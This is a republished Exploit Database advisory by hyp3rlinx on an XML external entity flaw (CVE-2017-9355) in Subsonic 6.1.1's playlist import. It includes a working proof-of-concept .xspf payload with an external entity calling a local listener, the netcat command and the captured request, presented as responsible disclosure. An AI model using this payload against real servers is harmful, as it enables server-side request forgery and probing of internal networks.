Subsonic 6.1.1 – XML External Entity Injection

• Exploit Database
• 38 阅读

• 作者： hyp3rlinx
  日期： 2017-06-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42119/

• [+] Credits: John Page a.k.a hyp3rlinx	
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt
  [+] ISR: ApparitionSec
   
  
  
  Vendor:
  ================
  www.subsonic.org
  
  
  
  Product:
  ===============
  subsonic v6.1.1
  
  Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.
  
  
  
  Vulnerability Type:
  ====================
  XML External Entity 
  
  
  
  CVE Reference:
  ==============
  CVE-2017-9355
  
  
  
  
  Security Issue:
  ================
  subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
  import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network 
  to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.
  
  
  
  
  Exploit/POC:
  =============
  1) Create some playlist file "RainbowsNUnic0rns.xspf" 
  
  <?xml version="1.0"?>
  <!DOCTYPE mmmmmRaisins [ 
  <!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">
  %mmmm;]>
  
  
  2) Import as playlist.
  
  
  3) Start listener.
  
  nc.exe -llvp 1337
  listening on [any] 1337 ...
  
  connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
  GET / HTTP/1.1
  Cache-Control: no-cache
  Pragma: no-cache
  User-Agent: Java/1.8.0_45
  Host: 127.0.0.1:1337
  Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  Connection: keep-alive
  
  
  
  Network Access:
  ===============
  Remote
  
  
  
  
  Severity:
  =========
  High
  
  
  
  Disclosure Timeline:
  ==================================
  Vendor Notification:May 29, 2017
  Vendor Acknowledgement: May 30, 2017
  June 4, 2017: Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).
  
  hyp3rlinx